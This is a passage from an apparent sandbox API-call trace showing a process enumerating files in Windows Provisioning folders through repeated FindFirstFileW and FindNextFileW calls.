lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0210.437] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.437] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0e3a2a4, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0e3a2a4, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0e60513, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power_0.provxml", cAlternateFileName="POWER_~1.PRO")) returned 1 [0210.437] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0e86782, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0e86782, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0e86782, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power_1.provxml", cAlternateFileName="POWER_~2.PRO")) returned 1 [0210.437] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0e86782, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0e86782, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa0e86782, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power_1.provxml", cAlternateFileName="POWER_~2.PRO")) returned 0 [0210.438] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0210.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0210.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0210.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dbde0) returned 1 [0210.438] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}", lpFilePart=0x0) returned 0x50 [0210.438] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a180 [0210.441] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.441] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa10504bd, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa10504bd, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa10504bd, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x4ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0210.441] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa102a24e, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa102a24e, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa102a24e, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0210.442] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0210.442] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0210.442] FindClose (in: hFindFile=0x1d46a180 | out: hFindFile=0x1d46a180) returned 1 [0210.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0210.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbcd0) returned 1 [0210.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dbde0) returned 1 [0210.443] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}", lpFilePart=0x0) returned 0x50 [0210.443] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a180 [0210.445] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.445] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa10504bd, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa10504bd, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa10504bd, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x4ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0210.445] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa102a24e, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa102a24e, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa102a24e, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0210.445] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0210.445] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0210.446] FindClose (in: hFindFile=0x1d46a180 | out: hFindFile=0x1d46a180) returned 1 [0210.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0210.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbcd0) returned 1 [0210.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2db620) returned 1 [0210.447] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov", lpFilePart=0x0) returned 0x55 [0210.447] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0210.448] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.448] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0210.449] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1003fe2, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa1003fe2, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa102a24e, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x157, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0210.449] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0210.449] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0210.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0210.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db510) returned 1 [0210.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2db620) returned 1 [0210.449] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov", lpFilePart=0x0) returned 0x55 [0210.449] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a180 [0210.450] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.450] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0210.450] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1003fe2, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa1003fe2, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa102a24e, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x157, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0210.450] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1003fe2, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa1003fe2, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa102a24e, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x157, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0210.451] FindClose (in: hFindFile=0x1d46a180 | out: hFindFile=0x1d46a180) returned 1 [0210.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0210.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db510) returned 1 [0210.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0210.451] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime", lpFilePart=0x0) returned 0x5d [0210.451] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469dc0 [0210.452] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.453] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0fddd6c, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0fddd6c, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa1003fe2, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power_0.provxml", cAlternateFileName="POWER_~1.PRO")) returned 1 [0210.453] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1003fe2, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa1003fe2, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa1003fe2, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power_1.provxml", cAlternateFileName="POWER_~2.PRO")) returned 1 [0210.453] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0210.453] FindClose (in: hFindFile=0x1d469dc0 | out: hFindFile=0x1d469dc0) returned 1 [0210.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0210.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0210.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0210.454] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime", lpFilePart=0x0) returned 0x5d [0210.454] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0210.454] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.454] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0fddd6c, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa0fddd6c, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa1003fe2, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power_0.provxml", cAlternateFileName="POWER_~1.PRO")) returned 1 [0210.455] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1003fe2, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa1003fe2, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa1003fe2, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power_1.provxml", cAlternateFileName="POWER_~2.PRO")) returned 1 [0210.455] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1003fe2, ftCreationTime.dwHighDateTime=0x1d112b0, ftLastAccessTime.dwLowDateTime=0xa1003fe2, ftLastAccessTime.dwHighDateTime=0x1d112b0, ftLastWriteTime.dwLowDateTime=0xa1003fe2, ftLastWriteTime.dwHighDateTime=0x1d112b0, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power_1.provxml", cAlternateFileName="POWER_~2.PRO")) returned 0 [0210.455] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) 